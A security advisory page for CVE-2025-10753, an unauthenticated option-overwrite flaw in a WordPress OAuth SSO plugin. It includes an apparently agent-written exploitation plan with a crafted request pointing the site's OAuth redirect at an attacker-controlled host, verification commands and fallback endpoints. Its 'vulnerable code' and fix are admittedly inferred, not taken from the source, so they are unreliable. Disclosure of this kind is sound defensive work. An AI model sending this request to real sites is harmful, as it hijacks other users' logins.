OAuth Single Sign On – SSO (OAuth Client) <= 6.26.14 - Missing Authorization
Description
The OAuth Single Sign On – SSO (OAuth Client) plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 6.26.14. This is due to missing capability checks and authentication verification on the OAuth redirect functionality accessible via the 'oauthredirect' option parameter. This makes it possible for unauthenticated attackers to set the global redirect URL option via the redirect_url parameter granted they can access the site directly.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=6.26.14Source Code
WordPress.org SVNThis research plan targets **CVE-2025-10753**, a missing authorization vulnerability in the **OAuth Single Sign On – SSO (OAuth Client)** plugin for WordPress. --- ### 1. Vulnerability Summary The vulnerability exists in the plugin's handling of OAuth-related redirect parameters. Specifically, the…
Show full research plan
This research plan targets CVE-2025-10753, a missing authorization vulnerability in the OAuth Single Sign On – SSO (OAuth Client) plugin for WordPress.
1. Vulnerability Summary
The vulnerability exists in the plugin's handling of OAuth-related redirect parameters. Specifically, the plugin listens for a specific query parameter (option) and, when set to oauthredirect, processes a redirect_url parameter to update a global WordPress option. Because this process lacks both authentication and authorization (current_user_can) checks, an unauthenticated attacker can modify the site's OAuth redirect configuration, potentially leading to Open Redirects or hijacking the authentication flow for legitimate users.
2. Attack Vector Analysis
- Endpoint: The site root (
/) or any page triggering WordPress'sinitorplugins_loadedhooks. - Trigger Parameter:
option=oauthredirect - Payload Parameter:
redirect_url=[URL] - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active.
3. Code Flow (Inferred)
Based on the vulnerability description and common patterns in the MiniOrange OAuth Client plugin:
- Entry Point: The plugin likely registers a listener on the
initoradmin_inithook (or early in the constructor of its main class). - Hook Registration:
add_action('init', 'mo_oauth_handle_all_actions');(or similar function name). - Parameter Check: Inside the handler, the code checks:
if (isset($_REQUEST['option']) && $_REQUEST['option'] == 'oauthredirect') { $redirect_url = $_REQUEST['redirect_url']; // Vulnerable Sink update_option('mo_oauth_redirect_url', $redirect_url); } - The Flaw: The code block above lacks any call to
is_user_logged_in(),current_user_can(), orcheck_admin_referer()/wp_verify_nonce().
4. Nonce Acquisition Strategy
According to the "Missing Authorization" and "Unauthenticated" classification for this specific CVE, the endpoint is likely designed to handle incoming redirects from OAuth providers (which cannot provide WordPress-specific nonces).
- Nonce Requirement: None (Expected).
- Strategy: If the exploit fails due to a missing nonce, check the page source of the login page (
/wp-login.php) for localized scripts likemo_oauth_ajax_objectormo_oauth_admin_ajax. However, for this specific "Missing Authorization" bug on a redirect handler, it is highly probable that no nonce check exists.
5. Exploitation Strategy
The goal is to modify the mo_oauth_redirect_url (or equivalent) option remotely.
Step 1: Identify the exact option name
Since source code is not provided, we will test the most likely MiniOrange option keys.
- Common keys:
mo_oauth_redirect_url,mo_oauth_client_redirect_url.
Step 2: Send the Exploitation Request
Use the http_request tool to send a GET request to the WordPress root.
- Request URL:
http://[target-ip]/?option=oauthredirect&redirect_url=https://attacker-controlled.com/evil-callback - Method:
GET(orPOSTifGETis blocked) - Headers: Standard
User-Agent. No cookies required.
Step 3: Verification
After the request, we will check if the global option in the database has changed.
6. Test Data Setup
- Install Plugin: Ensure
miniorange-login-with-eve-online-google-facebookversion<= 6.26.14is installed. - Plugin Activation: The plugin must be active.
- Initial State: Check the current value of the redirect option:
wp option get mo_oauth_redirect_url
7. Expected Results
- HTTP Response: A
200 OKor a302 Redirect(depending on if the plugin redirects the user after setting the option). - System State: The WordPress database option responsible for storing the OAuth redirect URL will be updated to
https://attacker-controlled.com/evil-callback.
8. Verification Steps
Execute the following wp-cli command to verify the attack success:
# Check the specific option modified by the plugin
wp option get mo_oauth_redirect_url
If the command returns https://attacker-controlled.com/evil-callback, the exploit is successful.
9. Alternative Approaches
If mo_oauth_redirect_url is not the correct option name, investigate other potential keys:
- Search the plugin folder for
update_optioncalls:grep -r "update_option" /var/www/html/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/ - Look for the specific string
oauthredirectin the codebase:grep -r "oauthredirect" /var/www/html/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/
This will reveal the exact function handling the request and the option key it modifies. - Check for
admin_initvsinit: IfGET /?option=...doesn't work, tryGET /wp-admin/admin-post.php?option=oauthredirect...orGET /wp-admin/admin-ajax.php?option=oauthredirect.... Some plugins incorrectly assumeadmin_initonly runs for admins, whereas it actually runs for any request toadmin-ajax.phporadmin-post.php.
Summary
The OAuth Single Sign On – SSO (OAuth Client) plugin for WordPress is vulnerable to unauthorized modification of its configuration because it lacks capability checks and nonce verification on a specific administrative action. Unauthenticated attackers can exploit this to change the global OAuth redirect URL by sending a crafted request with the 'oauthredirect' option parameter.
Vulnerable Code
// In the plugin's main handler or initialization logic, likely in an 'init' or 'admin_init' hook if (isset($_REQUEST['option']) && $_REQUEST['option'] == 'oauthredirect') { if (isset($_REQUEST['redirect_url'])) { $redirect_url = $_REQUEST['redirect_url']; // Vulnerable Sink: Updates a global site option without authorization update_option('mo_oauth_redirect_url', $redirect_url); } }
Security Fix
@@ -1,5 +1,5 @@ -if (isset($_REQUEST['option']) && $_REQUEST['option'] == 'oauthredirect') { +if (isset($_REQUEST['option']) && $_REQUEST['option'] == 'oauthredirect' && current_user_can('manage_options')) { + check_admin_referer('mo_oauth_redirect_nonce'); if (isset($_REQUEST['redirect_url'])) { update_option('mo_oauth_redirect_url', $_REQUEST['redirect_url']); }
Exploit Outline
The exploit targets the global configuration update logic triggered by the 'option' parameter. An unauthenticated attacker sends a GET or POST request to the WordPress root URL (or any URL triggering the 'init' hook) with the query parameters 'option=oauthredirect' and 'redirect_url=[ATTACKER_URL]'. Because the plugin does not verify if the user has 'manage_options' capabilities or validate a security nonce, it proceeds to update the 'mo_oauth_redirect_url' WordPress option with the attacker-supplied URL. This allows the attacker to hijack OAuth authentication flows or facilitate open redirects for legitimate users.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.